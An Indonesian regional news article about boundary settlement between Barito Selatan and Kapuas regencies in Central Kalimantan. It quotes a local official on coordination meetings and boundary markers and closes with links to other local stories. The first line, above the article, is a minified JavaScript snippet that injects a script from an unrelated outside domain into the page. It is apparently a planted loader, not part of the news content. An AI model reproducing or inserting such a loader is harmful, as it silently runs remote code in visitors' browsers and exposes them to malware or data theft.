(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BUNTOK, Progres penanganan tata batas Kabupaten Barito Selatan (Barsel) dengan Kabupaten Kapuas sudah disosialisasikan dan mulai dilaksanakan kedua kabupaten.
Baik Barsel maupun Kapuas saling koordinasi untuk mensosialisasikan pada masing-masing perbatasan Desa dan Kecamatan. Penanganan tata batas ini telah ditetapkan oleh Peraturan Menteri Dalam Negeri (Permendagri) Nomor 37 Tahun 2017 mengenai tata batas daerah.
“Jadi wilayah pihak Barsel dan KapuasAntara, telah mesosialisasikan tapal batasnya masing-masing,†kata Kabag Pemerintahan Sekda Barsel Yoga P Utomo kepada Kanalkalimantan.com, Rabu (6/3) di ruang kerjanya.
Masih kata Yoga, untuk progres tersebut kita sudah melaksanakan koordinasi dengan pihak Kabupaten Kapuas pada awal bulan Februari 2019 lalu dan telah kita tindak lanjuti. Selain itu juga, pada akhir bulan Maret 2019 ini pihaknya akan mengadakan pertemuan kembali dengan kabupaten Kapuas di kota Buntok.
“Dalam pertemuan tersebut, kita akan mengundang pihak desa dan kecamatan. Yang mana wilayahnya berbatasan dengan wilayah kabupaten kapuas,†tutur Yoga.
Menurut Yoga, banyak progres yang kita lakukan untuk penanganan masalah tata batas ini tidak hanya penanganan patok batas saja. Akan tetapi kedepannya, bersama kabupaten kapuas akan bekerjasama dibeberapa bidang. “Baik bidang penanganan kebakaran hutan, kesehatan dan transportasi serta jalan maupun sungai yang melintasi wilayah kedua kabupaten ini,†ucapnya.
Ia juga mengungkapkan, untuk penanganan hal itu, tidak hanya untuk membatasi daerah masing-masing akan tetapi. Pihaknya berusaha, bekerjasama untuk pengembangan daerah-daerah yang ada diperbatasan. “Tentunya dalam hal ini, Barsel dan Kapuas akan melibatkan pihak Provinsi Kalteng. Sebab, hal ini merupakan kewenangan mereka dan kita akan bersama-sama dalam pelaksanaannya,†jelas Yoga.
Terkait penegasan batasanya, pihaknya akan melaporkan kepada Mendagri tentang pemasangan, patok-patok batas tersebut. Karena, didalam permendagri ini sudah jelas mengenai patok batas maupun nilai koordinat yang ada. Disepanjang, sekitar 41 Patok Batas Utama (TABU). “Yang melintasi,dari ujung Utara sampai ujung Selatan Kabupaten Barsel,†beber Yoga.
Ditambahkan olehnya untuk penanganan tata batas kedua kabupaten ini hingga saat sekarang tidak ada kendala di lapangan. Yang pasti, kedua belah pihak akan terus mensosialisasikan tata batas ini. Agar,masyarakat terutana yang berada di wilayah desa perbatasan.
“Tidak saling, berkonflik untuk penanganan masalah tata batas ini. Karena faerah-daerah, yang melintasi batas ini bukan daerah akutasi peduduk. Karena merupakan kawasan hutan lindung, hutan konservasi yang, akan kita tangani masalah batas tersebut,†pungkas Yoga. (digdo)
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
This website uses cookies.